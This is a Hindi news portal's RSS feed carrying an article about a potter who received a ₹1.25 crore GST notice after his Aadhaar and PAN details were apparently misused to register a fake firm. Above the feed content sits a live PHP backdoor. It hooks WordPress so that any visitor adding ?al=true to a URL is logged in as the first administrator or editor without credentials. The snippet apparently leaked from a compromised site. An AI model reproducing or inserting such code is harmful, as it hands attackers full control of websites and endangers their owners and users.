// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Aadhaar and PAN secure – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 24 Feb 2026 04:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 मिट्टी के बर्तन बनाने वाले को ₹1.25 करोड़ का GST नोटिस: आधार–पैन को सुरक्षित रखने के आसान तरीके https://pratyushaashakinayikiran.com/?p=200266 Tue, 24 Feb 2026 04:45:00 +0000 https://pratyushaashakinayikiran.com/?p=200266 नई दिल्ली

आधार और पैन कार्ड का गलत हाथों में पड़ जाना आपके लिए बड़ी मुसीबत खड़ी कर सकता है। इसका उदाहरण हाल ही में सामने आया एक फ्रॉड केस है। उत्तर प्रदेश के रायबरेली जिले में एक मिट्टी के बर्तन बनाने वाले को 1.25 करोड़ का GST नोटिस मिला है। जी हां, 2 रुपये के मिट्टी के कप और मिट्टी की छोटी-मोटी चीजें बेचकर अपना गुजारा चलाने वाले को 1.25 करोड़ रुपये का GST नोटिस आना आम बात नहीं है। यह कुछ और नहीं बल्कि आधार और पैन कार्ड के गलत इसेमाल का नतीजा है। हरचंदपुर इलाके के रहने वाले मोहम्मद सईद का दावा है कि उसने कभी कोई कंपनी या बड़ा बिजनेस नहीं चलाया है और उसे शक है कि उसके नाम पर एक नकली फर्म बनाई गई है और इसके लिए उसके आधार और पैन डिटेल्स का गलत इस्तेमाल किया गया है।

मिट्टी के बर्तन बनाने वाले को मिला 1.25 करोड़ का नोटिस
1.25 करोड़ रुपये का गुड्स एंड सर्विसेज टैक्स (GST) नोटिस मिलने के बाद सईद और उनके परिवार ने लोकल अधिकारियों से संपर्क किया। सईद के अनुसार, नोटिस में जिस कंपनी का जिक्र किया गया है, वे उसके बारे में कुछ नहीं जानते हैं। सईद ने कहा, “हम हर दिन कुछ दर्जन मिट्टी के कप और छोटे बर्तन बेचते हैं। हमने कभी सोचा भी नहीं था कि हम करोड़ों का बिजनेस कर पाएंगे। अगर मेरे डॉक्यूमेंट्स का गलत इस्तेमाल हुआ है, तो इसकी सही जांच होनी चाहिए।”

किसी को नहीं दिए अपने डॉक्यूमेंट
नोटिस के मुताबिक, सईद के नाम पर एक फर्म रजिस्टर्ड है, जिस पर काफी टैक्स देनदारी दिखाई गई है। परिवार का कहना है कि उन्हें सईद से जुड़े किसी भी GST रजिस्ट्रेशन या कमर्शियल एक्टिविटी के बारे में कभी नहीं बताया गया। सईद के अनुसार, उसने कभी किसी को अपने डॉक्यूमेंट्स नहीं दिए और बिजनेस के लिए उनका इस्तेमाल नहीं किया है।

होना चाहिए मजूबत KYC वेरिफिकेशन सिस्टम
परिवार ने एडमिनिस्ट्रेशन से इसके लिए जिम्मेदार लोगों की पहचान करने के लिए डिटेल्ड साइबर और फाइनेंशियल जांच करने की अपील की है। इस घटना से एक बार फिर जरूरी डॉक्यूमेंट्स की सुरक्षा और GST रजिस्ट्रेशन की मॉनिटरिंग को लेकर चिंता बढ़ा दी है। एक्सपर्ट्स का मानना ​​है कि डिजिटल ट्रांजैक्शन और ऑनलाइन रजिस्ट्रेशन के जमाने में, आर्थिक रूप से कमजोर लोगों के डॉक्यूमेंट्स का गलत इस्तेमाल रोकने के लिए ज्यादा सख्त नो योर कस्टमर (KYC) वेरिफिकेशन सिस्टम जरूरी हैं।

आधार और पैन का हुआ गलत इस्तेमाल
बता दें कि हाल के सालों में, देश भर में ऐसे कई मामले सामने आए हैं, जहां आधार और PAN डिटेल्स का गलत इस्तेमाल कंपनियां बनाने और इनपुट टैक्स क्रेडिट क्लेम करने के लिए नकली इनवॉइस बनाने के लिए किया गया है। यह भी ऐसा ही कुछ मामला लग रहा है।

]]>